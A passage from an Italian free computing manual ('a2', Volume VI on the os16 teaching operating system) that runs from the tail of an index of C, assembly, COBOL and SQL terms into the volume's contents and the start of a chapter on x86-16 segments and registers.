JNC 4222 4279 4293 JNE 4222 4280 JNG 4222 4280 JNGE 4222 4280 JNL 4222 4280 JNLE 4280 JNO 4222 4279 JNP 4222 4279 JNS 4222 4279 JNZ 4222 4279 4282 JO 4222 4279 JP 4222 4279 JS 4222 4279 JUSTIFIED RIGHT 4992 JZ 4222 4279 4288 L 4443 4443 5485 5485 LABEL RECORD 4980 labs() 4765 4897 LC_TIME 4829 ldiv() 4765 4897 ldiv_t 4755 LEA 4217 4319 LEAVE 4303 4308 LibPQ 5227 libreria dinamica 4352 libreria statica 4361 LIFO 4166 5459 limits.h 4723 4888 *link* 4185 4485 link() 4872 4878 *linkage* esterno 4497 *linkage* interno 4497 *link script* 4367 *little endian* 4178 5466 little endian 4192 LL 4443 5485 llabs() 4765 4897 lldiv() 4765 4897 lldiv_t 4755 LLONG_MAX 4723 4888 LLONG_MIN 4723 4888 locale.h 4562 4735 4918 localtime() 4828 4902 long 4441 5482 LONG_BIT 4725 LONG_MAX 4723 4888 LONG_MIN 4723 4888 long long 4441 5482 LOOP 4226 4282 4282 LOOPE 4226 4282 LOOPNE 4226 4282 LOOPNZ 4226 4282 LOOPZ 4226 4282 lseek() 4679 4872 lstat() 4865 4920 *lvalue* 4497 4500 5540 L"..." 4564 L_ctermid 4833 L_tmpnam 4833 4905 L'...' 4564 main() 4522 5571 major() 4699 Make 4414 makedev() 4699 Makefile 4414 malloc() 4531 4762 4897 mantissa 4190 mblen() 4767 4897 mbstowcs() 4769 4897 mbtowc() 4768 4897 MB_CUR_MAX 4755 MB_LEN_MAX 4723 4888 membro di una struttura 4544 memccpy() 4781 memchr() 4794 4900 memcmp() 4789 4900 memcpy() 4780 4900 memmove() 4782 4900 *memory pad* 4367 memset() 4811 4900 MERGE 5077 Minix 4689 minor() 4699 mkdir() 4700 4865 4920 mkfifo() 4701 4708 4865 4920 mknod() 4696 4865 4920 mktime() 4826 4902 mode_t 4861 4863 moltiplicazione binaria 5439 MOV 4217 4226 4240 MOVE 5041 MOVSX 4217 MOVZX 4217 4293 MUL 4218 4259 *multiboot specification* 4383 multibyte 4564 4766 MULTIPLY 5043 my.cnf 5283 5284 mysql 5283 5286 MySQL 5283 mysqladmin 5283 mysqld 5283 mysqldump 5301 mysql_install_db 5293 NASM 4226 NCCS 4881 NDEBUG 4722 NEG 4218 4255 *new-line* 4583 nlink_t 4861 NOFLSH 4883 NOP 4217 not 4778 NOT 4099 4207 5457 NOT 4220 not_eq 4778 NULL 4530 4779 numero 5182 numero intero con segno 4188 5440 numero intero senza segno 4187 5440 numero in virgola mobile 4189 5443 Objdump 4226 OBJECT-COMPUTER 4959 *object-like macro* 4470 OCCURS 4991 4993 ODBC 5180 5315 odbc.ini 5315 ODBCConfig 5317 ODBCDataSources 5315 odbcinst.ini 5315 offsetof 4549 4779 offsetof() 4917 off_t 4861 *opcode* 4182 OPEN 5044 5206 open() 4672 4870 OpenCOBOL 5093

opendir() 4712 4880 operatore logico 4099 4207 5457 OPOST 4882 or 4778 OR 4099 4207 5457 OR 4220 ora 5183 ordine dei byte 4178 5466 organizzazione del *file* 4962 or_eq 4778 ottimizzazione 4412 *overflow* 4109 4194 4201 4204 4216 4250 5446 O_ACCMODE 4867 O_APPEND 4672 4867 O_CREAT 4672 4867 O_DSYNC 4867 O_EXCL 4672 4867 O_NOCTTY 4672 4867 O_NONBLOCK 4672 4867 O_RDONLY 4672 4867 O_RDWR 4672 4867 O_RSYNC 4867 O_SYNC 4672 4867 O_TRUNC 4672 4867 O_WRONLY 4672 4867 PAGER 5231 parametro formale 4496 *parity* 4216 PARMRK 4882 parola 4181 pathconf() 4872 pause() 4872 pclose() 4855 PERFORM 5046 perror() 4855 4905 PgAccess 5257 pg_database 5234 pg_dump 5236 pg_dumpall 5236 pg_hba.conf 5222 5223 pg_shadow 5234 pg_user 5234 PICTURE 5007 pid_t 4861 pila 4166 5459 *pipe* 4703 pipe() 4705 4872 POP 4221 4295 POPA 4221 4303 4308 POPAD 4221 popen() 4855 POPF 4221 PostgreSQL 5215 5257 postgresql.conf 5222 postmaster 5219 postmaster.conf 5222 precedenza operatori 4449 5491 prestito 4196 5448 PRId16 4772 4891 PRId32 4772 4891 PRId64 4772 4891 PRId8 4772 4891 PRIdFAST16 4772 4891 PRIdFAST32 4772 4891 PRIdFAST64 4772 4891 PRIdFAST8 4772 4891 PRIdLEAST16 4772 4891 PRIdLEAST32 4772 4891 PRIdLEAST64 4772 4891 PRIdLEAST8 4772 4891 PRIdMAX 4772 4891 PRIdPTR 4772 4891 PRIi16 4772 4891 PRIi32 4772 4891 PRIi64 4772 4891 PRIi8 4772 4891 PRIiFAST16 4772 4891 PRIiFAST32 4772 4891 PRIiFAST64 4772 4891 PRIiFAST8 4772 4891 PRIiLEAST16 4772 4891 PRIiLEAST32 4772 4891 PRIiLEAST64 4772 4891 PRIiLEAST8 4772 4891 PRIiMAX 4772 4891 PRIiPTR 4772 4891 printf() 4439 4541 4603 4844 4911 5480 PRIo16 4772 4891 PRIo32 4772 4891 PRIo64 4772 4891 PRIo8 4772 4891 PRIoFAST16 4772 4891 PRIoFAST32 4772 4891 PRIoFAST64 4772 4891 PRIoFAST8 4772 4891 PRIoLEAST16 4772 4891 PRIoLEAST32 4772 4891 PRIoLEAST64 4772 4891 PRIoLEAST8 4772 4891 PRIoMAX 4772 4891 PRIoPTR 4772 4891 PRIu16 4772 4891 PRIu32 4772 4891 PRIu64 4772 4891 PRIu8 4772 4891 PRIuFAST16 4772 4891 PRIuFAST32 4772 4891 PRIuFAST64 4772 4891 PRIuFAST8 4772 4891 PRIuLEAST16 4772 4891 PRIuLEAST32 4772 4891 PRIuLEAST64 4772 4891 PRIuLEAST8 4772 4891 PRIuMAX 4772 4891 PRIuPTR 4772 4891 PRIX16 4772 4891 PRIx16 4772 4891 PRIx32 4772 4891 PRIX32 4772 4891 PRIX64 4772 4891 PRIx64 4772 4891 PRIX8 4772 4891 PRIx8 4772 4891 PRIXFAST16 4772 4891 PRIxFAST16 4772 4891 PRIxFAST32 4772 4891 PRIXFAST32 4772 4891 PRIXFAST64 4772 4891 PRIxFAST64 4772 4891 PRIXFAST8 4772 4891 PRIxFAST8 4772 4891 PRIXLEAST16 4772 4891 PRIxLEAST16 4772 4891 PRIxLEAST32 4772 4891 PRIXLEAST32 4772 4891 PRIXLEAST64 4772 4891 PRIxLEAST64 4772 4891 PRIXLEAST8 4772 4891 PRIxLEAST8 4772 4891 PRIxMAX 4772 4891 PRIXMAX 4772 4891 PRIXPTR 4772 4891 PRIxPTR 4772 4891 PROCEDURE DIVISION 5018 5027 5075 processo elaborativo in memoria 4365 programma autonomo 4383 programma *stand alone* 4383 *promotion* 4537 promozione 4537 prototipo di funzione 4462 5514 pseudocodifica 4116 psql 5227 pthread_t 4656 4861 PTRDIFF_MAX 4732 4889 PTRDIFF_MIN 4732 4889 ptrdiff_t 4559 4732 4779 4889 puntatore 4500 4514 5541 5559 puntatore a funzione 4528 puntatore a puntatori 4524 4525 5564 5567 puntatore nullo 4530 PUSH 4221 4295 PUSHA 4221 4303 4308 PUSHF 4221 putc() 4850 putchar() 4850 4905 putchar_unlocked() 4854 putc_unlocked() 4854 puts() 4593 4851 4905 P_tmpdir 4833 qsort() 4763 4897 Quicksort 4132 4626 raise() 4820 rand() 4759 4897 RAND_MAX 4755 rango 4440 5481 5481 *rank* 4440 5481 5481 RCL 4220 4271 RCR 4220 4271 RDBMS 5167 READ 5054 read() 4676 4872 readdir() 4712 4880 readlink() 4872 realloc() 4531 4762 4897 RECORD CONTAINS 4980 REDEFINES 4981 4987 regcomp() 4636 4637 4918 regerror() 4636 4643 4918 regex.h 4636 4918 regexec() 4636 4639 4641 4918 regexp 4635 regex_t 4636 4637

4918 regfree() 4636 4639 4918 register 4488 registro 4181 4216 regmatch_t 4636 4639 4641 4918 4918 regoff_t 4918 relazione 5167 RELEASE 5081 remove() 4703 4835 4905 rename() 4835 4905 RENAMES 5004 reopen() 4595 resb 4242 resd 4242 restrict 4533 resw 4242 RET 4221 4293 4308 return 4462 5516 RETURN 5080 REVOKE 5210 rewind() 4853 4905 rewinddir() 4712 4880 REWRITE 5058 re_sub 4918 ricerca binaria 4126 riordino 4137 4139 riporto 4194 4196 4203 4203 4204 4206 4251 5446 5448 5454 5454 rmdir() 4702 4872 rm_se 4918 rm_so 4918 ROL 4220 4269 ROLLBACK 5211 ROR 4220 4269 rotazione 4206 5456 *rvalue* 4497 R_OK 4872 SAL 4220 4267 SAR 4220 4267 SBB 4218 4257 scanf() 4607 4849 4914 scatola nera 4102 SCHAR_MAX 4723 4888 SCHAR_MIN 4723 4888 SCNd16 4772 4891 SCNd32 4772 4891 SCNd64 4772 4891 SCNd8 4772 4891 SCNdFAST16 4772 4891 SCNdFAST32 4772 4891 SCNdFAST64 4772 4891 SCNdFAST8 4772 4891 SCNdLEAST16 4772 4891 SCNdLEAST32 4772 4891 SCNdLEAST64 4772 4891 SCNdLEAST8 4772 4891 SCNdMAX 4772 4891 SCNdPTR 4772 4891 SCNi16 4772 4891 SCNi32 4772 4891 SCNi64 4772 4891 SCNi8 4772 4891 SCNiFAST16 4772 4891 SCNiFAST32 4772 4891 SCNiFAST64 4772 4891 SCNiFAST8 4772 4891 SCNiLEAST16 4772 4891 SCNiLEAST32 4772 4891 SCNiLEAST64 4772 4891 SCNiLEAST8 4772 4891 SCNiMAX 4772 4891 SCNiPTR 4772 4891 SCNo16 4772 4891 SCNo32 4772 4891 SCNo64 4772 4891 SCNo8 4772 4891 SCNoFAST16 4772 4891 SCNoFAST32 4772 4891 SCNoFAST64 4772 4891 SCNoFAST8 4772 4891 SCNoLEAST16 4772 4891 SCNoLEAST32 4772 4891 SCNoLEAST64 4772 4891 SCNoLEAST8 4772 4891 SCNoMAX 4772 4891 SCNoPTR 4772 4891 SCNu16 4772 4891 SCNu32 4772 4891 SCNu64 4772 4891 SCNu8 4772 4891 SCNuFAST16 4772 4891 SCNuFAST32 4772 4891 SCNuFAST64 4772 4891 SCNuFAST8 4772 4891 SCNuLEAST16 4772 4891 SCNuLEAST32 4772 4891 SCNuLEAST64 4772 4891 SCNuLEAST8 4772 4891 SCNuMAX 4772 4891 SCNuPTR 4772 4891 SCNx16 4772 4891 SCNx32 4772 4891 SCNx64 4772 4891 SCNx8 4772 4891 SCNxFAST16 4772 4891 SCNxFAST32 4772 4891 SCNxFAST64 4772 4891 SCNxFAST8 4772 4891 SCNxLEAST16 4772 4891 SCNxLEAST32 4772 4891 SCNxLEAST64 4772 4891 SCNxLEAST8 4772 4891 SCNxMAX 4772 4891 SCNxPTR 4772 4891 scorrimento 4203 4203 5454 5454 SD 4978 SEARCH 5060 SEEK_CUR 4833 4905 SEEK_END 4833 4905 SEEK_SET 4833 4905 *segmentation fault* 4365 segno 4193 5444 SELECT 4963 4965 4968 5196 semiaddizionatore 4104 sequenza multibyte 4766 SET 5066 SETA 4224 SETAE 4224 SETB 4224 SETBE 4224 setbuf() 4839 4905 SETC 4224 SETE 4224 setegid() 4872 seteuid() 4872 SETG 4224 SETGE 4224 setgid() 4872 SETL 4224 SETLE 4224 setlocale() 4918 SETNA 4224 SETNAE 4224 SETNB 4224 SETNBE 4224 SETNC 4224 SETNE 4224 SETNG 4224 SETNGE 4224 SETNL 4224 SETNLE 4224 SETNO 4224 SETNS 4224 SETNZ 4224 SETO 4224 setpgid() 4872 SETS 4224 setsid() 4872 setuid() 4872 setvbuf() 4839 4905 SETZ 4224 *shared object* 4353 *shift* 4203 4203 4264 5454 5454 SHL 4220 4264 4289 short 4441 5482 SHR 4220 4264 4289 SHRT_MAX 4723 4888 SHRT_MIN 4723 4888 SI 4216 SIGABRT 4816 4817 SIGALRM 4817 SIGBUS 4817 SIGCHLD 4817 SIGCONT 4817 SIGFPE 4816 4817 SIGHUP 4817 SIGILL 4816 4817 SIGINT 4816 4817 SIGKILL 4817 *sign* 4201 signal() 4820 signal.h 4814 signed 4441 5482 significante 4190 SIGN IS 4991 SIGPIPE 4817 SIGPOLL 4817 SIGPROF 4817 SIGQUIT 4817 SIGSEGV 4816 4817 SIGSTOP 4817 SIGSYS 4817 SIGTERM 4816 4817 SIGTRAP 4817 SIGTTIN 4817 SIGTTOU 4817 SIGURG 4817 SIGUSR1 4817 SIGUSR2 4817 SIGVTALRM 4817 SIGXCPU 4817 SIGXFSZ 4817 SIG_ATOMIC_MAX 4732 4889 SIG_ATOMIC_MIN 4732 4889 sig_atomic_t 4732 4816 4889 SIG_DFL 4819 SIG_ERR 4819 SIG_IGN 4819 sistema binario 5419 sistema decimale 5418 sistema esadecimale 5421 sistema ottale 5420 sizeof 4505 SIZE_MAX 4732 4889 size_t 4558 4732 4779 4861 4889 sleep() 4872

snprintf() 4844 4911 somma binaria 5438 SORT 4969 5075 sottrazione binaria 5439 SOURCE-COMPUTER 4958 SP 4216 SPECIAL-NAMES 4959 specificatore di conversione 4439 5480 specifiche *multiboot* 4383 speed_t 4881 sprintf() 4844 4911 SQL 5180 5241 5266 SQLite 5303 srand() 4759 4897 sscanf() 4849 4914 SSIZE_MAX 4725 ssize_t 4861 *stack* 4166 5459 *stack frame* 4303 *stand alone* 4383 START 5067 stat() 4865 4920 stat.h 4672 4863 4920 static 4486 4488 stdarg.h 4537 4752 4887 stdbool.h 4779 stddef.h 4779 4917 stderr 4594 4835 STDERR_FILENO 4872 stdint.h 4726 4889 STDIN_FILENO 4872 stdio 4594 4835 stdio.h 4582 4832 4905 4911 4914 stdlib.h 4531 4754 4897 stdout 4594 4835 STDOUT_FILENO 4872 STOP RUN 5070 *storage duration* 4497 strcasecmp() 4866 strcat() 4520 4787 4900 strchr() 4520 4795 4900 strcmp() 4520 4790 4900 strcoll() 4520 4791 4900 strcpy() 4520 4783 4900 strcspn() 4520 4799 4900 strdup() 4785 *stream* 4582 strerror() 4812 4900 strerror_r() 4813 strftime() 4829 4902 STRING 5070 string.h 4520 4780 4900 stringa 4179 4518 5181 5467 5561 stringa estesa 4564 strings.h 4866 strlen() 4520 4814 4900 strncasecmp() 4866 strncat() 4520 4788 4900 strncmp() 4520 4792 4900 strncpy() 4520 4784 4900 strpbrk() 4520 4800 4900 strrchr() 4520 4796 4900 strspn() 4520 4797 4900 strstr() 4801 4900 strtod() 4756 4897 strtof() 4756 4897 strtoimax() 4778 strtok() 4803 4900 strtok_r() 4807 strtol() 4756 4897 strtold() 4756 4897 strtoll() 4756 4897 strtouimax() 4778 strtoul() 4756 4897 strtoull() 4756 4897 struct 4544 structure stat 4865 struct dirent 4711 4711 4879 struct termios 4881 struct tm 4561 4825 struttura 4544 strxfrm() 4793 4900 st_atime 4865 4920 st_blksize 4865 4920 st_blocks 4865 4920 st_ctime 4865 4920 st_dev 4865 4920 st_gid 4865 4920 st_ino 4865 4920 st_mode 4865 4920 st_mtime 4865 4920 st_nlink 4865 4920 st_rdev 4865 4920 st_size 4865 4920 st_uid 4865 4920 SUB 4218 4240 4254 SUBTRACT 5072 super blocco 4682 switch 4457 5507 symlink() 4872 SYNCHRONIZED 4992 sysconf() 4872 system() 4763 S_IFBLK 4863 4920 S_IFCHR 4863 4920 S_IFDIR 4863 4920 S_IFIFO 4863 4920 S_IFLNK 4863 4920 S_IFMT 4863 4920 S_IFREG 4863 4920 S_IFSOCK 4863 4920 S_IRGRP 4672 4863 4920 S_IROTH 4672 4863 4920 S_IRUSR 4672 4863 4920 S_IRWXG 4672 4863 4920 S_IRWXO 4672 4863 4920 S_IRWXU 4672 4863 4920 S_ISBLK() 4863 4920 S_ISCHR() 4863 4920 S_ISDIR() 4863 4920 S_ISFIFO() 4863 4920 S_ISGID 4672 4863 4920 S_ISLNK() 4863 4920 S_ISREG() 4863 4920 S_ISSOCK() 4863 4920 S_ISUID 4672 4863 4920 S_ISVTX 4672 4863 4920 S_IWGRP 4672 4863 4920 S_IWOTH 4672 4863 4920 S_IWUSR 4672 4863 4920 S_IXGRP 4672 4863 4920 S_IXOTH 4672 4863 4920 S_IXUSR 4672 4863 4920 tcflag_t 4881 tcgetattr() 4883 tcgetpgrp() 4872 TCSADRAIN 4883 TCSAFLUSH 4883 TCSANOW 4883 tcsetattr() 4883 tcsetpgrp() 4872 tempnam() 4836 termios.h 4881 TEST 4222 *thread* 4656 time() 4826 4902 time.h 4823 4902 time_t 4561 4825 4825 4861 TinyCOBOL 5092 tmpfile() 4836 4905 tmpnam() 4836 4905 TMP_MAX 4833 4905 toascii() 4750 tolower() 4748 4895 TOSTOP 4883 toupper() 4749 4895 traboccamento 4194 4204 4250 5446 *translation unit* 4496 *trigraph* 4446 4499 5488 true 4779 ttyname() 4872 ttyname_r() 4872 tupla 5167 typedef 4552 types.h 4861 U 4443 5485 UCHAR_MAX 4723 4888 uid_t 4861 UINT16_C() 4728 4889 UINT16_MAX 4727 4889 uint16_t 4727 4889 UINT32_C() 4728 4889 UINT32_MAX 4727 4889 uint32_t 4727 4889 UINT64_C() 4728 4889 UINT64_MAX 4727 4889 uint64_t 4727 4889 UINT8_C() 4728 4889 UINT8_MAX 4727 4889 uint8_t 4727 4889 UINTMAX_C() 4731 4889 UINTMAX_MAX 4731 4889 uintmax_t 4731 4889 UINTPTR_MAX 4730 4889 uintptr_t 4730 4889 UINT_FAST16_MAX 4729 4889 uint_fast16_t 4729 4889 UINT_FAST32_MAX 4729 4889 uint_fast32_t

4729 4889 UINT_FAST64_MAX 4729 4889 uint_fast64_t 4729 4889 UINT_FAST8_MAX 4729 4889 uint_fast8_t 4729 4889 UINT_LEAST16_MAX 4728 4889 uint_least16_t 4728 4889 UINT_LEAST32_MAX 4728 4889 uint_least32_t 4728 4889 UINT_LEAST64_MAX 4728 4889 uint_least64_t 4728 4889 UINT_LEAST8_MAX 4728 4889 uint_least8_t 4728 4889 UINT_MAX 4723 4888 UL 4443 5485 ULL 4443 5485 ULLONG_MAX 4723 4888 ULONG_MAX 4723 4888 umask() 4865 4920 ungetc() 4850 4905 Unicode 5017 union 4550 unione 4550 unistd.h 4672 4871 unità di traduzione 4469 4496 unixODBC 5315 unlink() 4701 4872 4878 Unproto 4577 unsigned 4441 5482 UPDATE 5195 USAGE 4989 USHRT_MAX 4723 4888 VALUE 4993 VALUE OF 4981 va_arg 4537 va_arg() 4752 4887 va_copy() 4752 4887 va_end 4537 va_end() 4752 4887 va_list 4537 4559 4752 4887 va_start 4537 va_start() 4752 4887 VEOF 4881 VEOL 4881 VERASE 4881 vettore 4173 5461 vfprintf() 4845 4911 vfscanf() 4849 4914 VINTR 4881 virgola mobile 4189 5443 VKILL 4881 VMIN 4881 void 4449 4462 4556 5491 5514 volatile 4448 vprintf() 4603 4845 4911 VQUIT 4881 vscanf() 4607 4849 4914 vsnprintf() 4845 4911 vsprintf() 4845 4911 vsscanf() 4849 4914 VSTART 4881 VSTOP 4881 VSUSP 4881 VTIME 4881 wait() 4651 WCHAR_MAX 4732 4889 WCHAR_MIN 4732 4889 wchar_t 4560 4564 4732 4779 4889 wcstoimax() 4778 wcstombs() 4769 4897 wcstouimax() 4778 wctomb() 4768 4897 WEOF 4584 while 4458 5509 WINT_MAX 4732 4889 WINT_MIN 4732 4889 wint_t 4560 4732 4889 *word* 4215 WORD_BIT 4725 WORKING-STORAGE SECTION 4985 WRITE 5073 write() 4676 4872 WWW-SQL 5266 W_OK 4872 x86 4245 x86-32 4213 XCHG 4217 XOR 4220 xor 4778 XOR 4099 4207 5457 xor_eq 4778 X_OK 4872 *zero* 4201 4216 *zero terminated string* 4179 5467 zombie 4653 # 4437 5476 #define 4470 #define() 4472 #define()...# 4472 #define()...## 4472 #define()...__VA_ARGS__ 4472 #define...## 4470 #elif 4476 #else 4476 #endif 4476 #error 4483 #if 4476 #ifdef 4477 #ifndef 4477 #if !defined 4477 #if defined 4477 #include 4469 #line 4480 #pragma 4484 #undef 4479 & 4449 4452 4500 5491 5499 5541 &* 4517 &= 4449 4452 5491 5499 && 4449 4451 5491 5497 ^ 4449 4452 5491 5499 ^= 4449 4452 5491 5499 ~ 4449 4452 5491 5499 ~= 4449 4452 5491 5499 \... 4443 5487 \0 4443 5487 \? 4443 5487 \a 4443 5487 \b 4443 5487 \f 4443 5487 \n 4443 5487 \r 4443 5487 \t 4443 5487 \v 4443 5487 \x... 4443 5487 \" 4443 5487 \\ 4443 5487 \' 4443 5487 | 4449 4452 5491 5499 |= 4449 4452 5491 5499 || 4449 4451 5491 5497 {...} 4437 5476 $PGDATA 5216 5217 $PGHOST 5227 $PGPORT 5227 $PGTZ 5257 _Bool 4556 _exit() 4872 _Exit() 4762 4897 _IOFBF 4833 4905 _IOLBF 4833 4905 _IONBF 4833 4905 _POSIX2_... 4725 _POSIX_... 4725 _Pragma 4484 _PROTOTYPE 4573 _XOPEN_... 4725 __bool_true_false_are_defined 4779 __DATE__ 4484 __FILE__ 4484 __func__ 4541 __LINE__ 4484 __STDC_HOSTED__ 4484 __STDC_IEC_559__ 4484 __STDC_IEC_COMPLEX__ 4484 __STDC_ISO_10646__ 4484 __STDC_VERSION__ 4484 __STDC__ 4484 __TIME__ 4484 __udivdi3() 4722 __umoddi3() 4722 __VA_ARGS__ 4472 '...' 4443 5485 , 4454 5502 - 4449 4450 5491 5493 -= 4449 4450 5491 5493 -- 4449 4450 5491 5493 -> 4546 < 4449 4451 5491 5496 <= 4449 4451 5491 5496 << 4449 4452 5491 5499 <<= 4449 4452 5491 5499 > 4449 4451 5491 5496 >= 4449 4451 5491 5496 >> 4449 4452 5491 5499 >>= 4449 4452 5491 5499 % 4449 4450 5491 5493 %+... 4598 4840 %...c 4598 4606 4840 %...d 4598 4606 4840 %...e 4598 4606 4840 %...f 4598 4606 4840 %...g 4606 4840 %...hd 4598 4606 4840 %...hhd 4606 4840 %...hhi 4606 4840 %...hhn 4840 %...hho 4606 4840 %...hhu 4606 4840 %...hhx 4606 4840 %...hi 4598 4606 4840 %...hn 4840 %...ho 4598 4606 4840 %...hu 4598 4606 4840 %...hx 4598 4606 4840 %...i 4598 4606 4840 %...lc 4598 4606 4840 %...ld 4598 4606 4840 %...Le 4598 4606 4840 %...Lf 4598 4606 4840 %...Lg 4606 4840 %...li 4606

«a2» 2010.10.10

Volume VI

os16

```
os16: a basic os
This is terminal /dev/console0
login:  root
password:  ****
```

Per tutti i riferimenti dell'opera si veda ⟨*http://informaticalibera.net*⟩; per essere ridiretti automaticamente all'origine della distribuzione in-linea, si può usare l'indirizzo ⟨*http://appunti2.net*⟩. Al momento della pubblicazione di questa edizione, i punti di distribuzione in-linea più importanti, sono presso Internet Archive (⟨*http://www.archive.org/details/AppuntiDiInformaticaLibera*⟩), il GARR (⟨*http://appuntilinux.mirror.garr.it/mirrors/appuntilinux/*⟩) e ILS (⟨*http://appunti.linux.it*⟩). Tuttavia, per motivi tecnici, l'edizione pubblicata in-linea potrebbe non essere completa di tutti i contenuti, oppure potrebbe non essere sempre aggiornata. Pertanto, chi desidera ricevere **gratuitamente** una copia dell'ultima edizione di «a2» in DVD-ROM può scrivere all'autore, specificando l'indirizzo postale a cui va spedito il materiale:

daniele giacomini
via Morganella EST, 21
31050 Ponzano Veneto (TV)
⟨*appunti2 (ad) gmail·com*⟩

Dal momento che il pacchetto dei sorgenti dell'opera è molto grande (SGML, compilabile con Alml), se si desidera ricevere anche questo, è bene specificarlo.

Successivamente all'edizione 2009.11111 dell'opera (21 luglio 2009), inizia un processo di razionalizzazione con l'eliminazione di molti contenuti non più attuali o non più utili. Chi desidera ricevere una copia della versione 2009.11111 o di versioni precedenti, può farne ugualmente richiesta.

Parte v Progetto 5591
94 Programmare a 16 bit 5593
95 Studio per un sistema a 16 bit 5631
Parte vi Manuale 5699
96 Avvio del sistema e conclusione 5707
97 Sezione 1: programmi eseguibili o comandi interni di shell 5711
98 Sezione 2: chiamate di sistema 5725
99 Sezione 3: funzioni di libreria 5767
100 Sezione 4: file speciali 5853
101 Sezione 5: formato dei file e convenzioni 5859
102 Sezione 7: varie 5861
103 Sezione 8: comandi per l'amministrazione del sistema 5863
104 Sezione 9: kernel 5867
Parte vii Codice 5971
105 Script e sorgenti del kernel 5973
106 Sorgenti della libreria generale 6231
107 Sorgenti delle applicazioni 6459
Indice analitico del volume 6557

Parte v

Progetto

94 Programmare a 16 bit 5593

94.1 Microprocessori x86-16 5594
94.2 Architettura IBM PC 5618
94.3 Strumenti di sviluppo e di utilizzo 5624
94.4 Riferimenti 5630

95 Studio per un sistema a 16 bit 5631

95.1 Introduzione a os16 5633
95.2 Caricamento ed esecuzione del kernel 5640
95.3 Funzioni interne legate all'hardware 5648
95.4 Gestione della memoria 5655
95.5 Gestione dei terminali virtuali 5659
95.6 Dispositivi 5660
95.7 Gestione del file system 5664
95.8 Gestione dei processi 5678
95.9 Caricamento ed esecuzione delle applicazioni 5693

Capitolo 94

Programmare a 16 bit

94.1 Microprocessori x86-16 5594

94.1.1 Segmenti 5594
94.1.2 Registri 5595
94.1.3 Trasferimento di dati tra due segmenti differenti 5597
94.1.4 Riferimenti a indirizzi di memoria con i registri 5598
94.1.5 Convenzioni di chiamata 5598
94.1.6 Sintesi delle istruzioni x86-16 5600
94.1.7 Sostituzione delle istruzioni per i186 5617

94.2 Architettura IBM PC 5618

94.2.1 IVT: «interrupt vector table» 5619
94.2.2 BIOS data area 5620
94.2.3 Altre aree di memoria 5621
94.2.4 Interruzioni principali 5621

94.3 Strumenti di sviluppo e di utilizzo 5624

94.3.1 Preparazione 5624
94.3.2 Bcc 5625
94.3.3 As86 5627
94.3.4 Ld86 5627
94.3.5 Bootblocks 5629

94.4 Riferimenti 5630

ADC 5607 ADD 5607 AH 5595 AL 5595 AND 5608 AX 5595 BH 5595 BL 5595 BP 5595 BX 5595 CALL 5609 CALL FAR 5609 CBW 5600 CH 5595 CL 5595 CLC 5613 CLD 5613 CLI 5612 CMC 5613 CMP 5613 CMPSB 5604 CMPSW 5604 CWD 5600 CX 5595 DEC 5607 DH 5595 DI 5595 DIV 5607 DL 5595 DX 5595 ENTER 5609 FLAGS 5595 HLT 5612 IDIV 5607 IMUL 5607 IN 5617 5617 INC 5607 INT 5612 INTO 5612 IP 5595 IRET 5612 JA 5613 JAE 5613 JB 5613 JBE 5613 JC 5613 JCXZ 5613 JE 5613 JG 5613 JGE 5613 JL 5613 JLE 5613 JMP 5613 JMP FAR 5613 JNA 5613 JNAE 5613 JNB 5613 JNBE 5613 JNC 5613 JNE 5613 JNG 5613 JNGE 5613 JNL 5613 JNO 5613 JNP 5613 JNS 5613 JNZ 5613 JO 5613 JP 5613 JPE 5613 JPO 5613 JS 5613 JZ 5613 LAHF 5600 LDS 5600 LEA 5600 LEAVE 5609 LES 5600 LODSB 5602 LODSW 5602 LOOP 5616 LOOPE 5616 LOOPNE 5616 LOOPNZ 5616 LOOPZ 5616 MOV 5600 MOVSB 5602 MOVSW 5602 MUL 5607 NEG 5607 NOP 5600 NOT 5608 OR 5608 OUT 5617 5617 POP 5609 POPA 5609 POPF 5609 PUSH 5609 PUSHA 5609 PUSHF 5609 RCL 5608 RCR 5608 REP 5602 REPE 5604 REPNE 5604 REPNZ 5604 REPZ 5604 RET 5609 RETF 5609 RET FAR 5609 ROL 5608 ROR 5608 SAHF 5600 SAL 5608 SAR 5608 SBB 5607 SCASB 5604 SCASW 5604 SHL 5608 SHR 5608 SI 5595 SP 5595 STC 5613 5613 STI 5612 STOSB 5602 STOSW 5602 SUB 5607 TEST 5613 XCHG 5600 XLATB 5602 XOR 5608

94.1 Microprocessori x86-16

I microprocessori x86-16 sono sostanzialmente costituiti dal 8086 e dal 8088, con la caratteristica di gestire registri a 16 bit e di poter indirizzare complessivamente fino a 1024 Kibyte, suddividendo però la memoria in segmenti da 64 Kibyte. Questa famiglia ha il limite di disporre di pochi registri per usi generali, spesso vincolati a un ruolo preciso, nell'ambito di certe istruzioni.

Dal momento che esiste una grande quantità di modelli di microprocessori compatibili con la vecchia famiglia a 16 bit e dato che sono disponibili simulatori ed emulatori, può essere ancora interessante lo studio della programmazione a 16 bit, riferita al modello x86-16, se non si devono affrontare problematiche relative alla protezione della memoria e a gestioni sofisticate della stessa.

Questo e gli altri capitoli dedicati alla programmazione con i microprocessori x86-16 e l'architettura dell'elaboratore IBM PC dei primi anni 1980, si limitano ad affrontare le questioni che consentono di lavorare con i registri di segmento posti tutti allo stesso valore (salva la possibilità di travasare dei dati da una parte della memoria all'altra). Molte questioni importanti non vengono affrontate e si rimanda ai riferimenti posti alla fine dei capitoli, per gli approfondimenti eventuali, oltre che al capitolo 75, in cui si fa riferimento ai microprocessori x86-32.

94.1.1 Segmenti

Prima di considerare i registri di un microprocessore x86-16, è importante comprendere il concetto di ***segmento***, utilizzato in questo contesto.

Dal momento che i registri sono a 16 bit, con questi si possono rappresentare valori senza segno da zero a 65535; pertanto, dato che la memoria è organizzata in byte, con un registro si può scandire soltanto un intervallo di 64 Kibyte. Per poter scandire lo spazio di 1024 Kibyte, occorrono due registri, in modo da comporre assieme un indirizzo da 20 bit.

Per indirizzare la memoria, a qualunque titolo, nei microprocessori x86-16 è necessario un ***registro di segmento*** e un altro valore che esprima lo scostamento dall'inizio del segmento a cui il contesto si riferisce.

